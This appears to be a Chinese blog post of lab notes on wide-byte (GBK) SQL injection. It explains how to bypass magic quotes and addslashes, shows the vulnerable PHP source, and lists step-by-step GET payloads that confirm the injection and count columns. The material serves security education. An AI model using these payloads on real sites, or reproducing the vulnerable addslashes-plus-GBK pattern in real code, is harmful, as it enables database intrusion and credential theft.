宽字节注入靶场练习

课堂知识点:

当有魔术引号无法闭合时,绕过方法:
1.找不需要闭合的地方(即没有单双引号等闭合的地方)
2.仔细查看作用域(魔术引号只对get post cookie传参有效)
3.宽字节法。(当我们在\前传了一个字符,用gbk编码可以跟\组成一个字,\就逃 逸了出来)

ps:国际编码:utf-8
汉字编码:gbk

采用宽字节绕过的办法:
url编码中,一个英文单引号’用url编码表示是 %27
url编码中,一个反斜杠\用url编码表示是 %5c
%df\可以凑成汉字
%9c\
%dd\等也可以


宽字节注入(一)

get传参处=1之后输入’ and 1=1,得到
select *from user where id=’1\‘ and 1=1’
说明有魔术引号。

查看源码
$username = ‘’;
$password = ‘’;
@$id = addslashes($_GET[‘id’]);
@$sql = ‘select from user where id=\’’.$id.’\’’;
mysqli_select_db($conn,’*
‘);// 不想让你们知道库名
mysqli_query($conn,”SET NAMES gbk”);
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
$username = $row[‘username’];
$password = $row[‘password’];
}
echo ‘Your Login name:’.$username;
echo ‘Your Password:’.$password;
不能用Header注入方法。

用宽字节法,如下

1.判断页面是否存在sql注入:

get传参:
id=1%dd’ — qwe
页面正常

get传参:
id=1%dd’ and 1=1 — qwe
页面正常

get传参:
id=1%dd’ and 1=2 — qwe
页面不正常,说明存在sql注入。

2.判断字段数:

get传参:
id=1%dd’ order by 1 — qwe
页面正常
get传参:
id=1%dd’ order by 2 — qwe
页面正常
get传参:
id=1%dd’ order by 3 — qwe
页面正常
get传参:
id=1%dd’ order by 4 — qwe
页面不正常,说明有3个字段。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值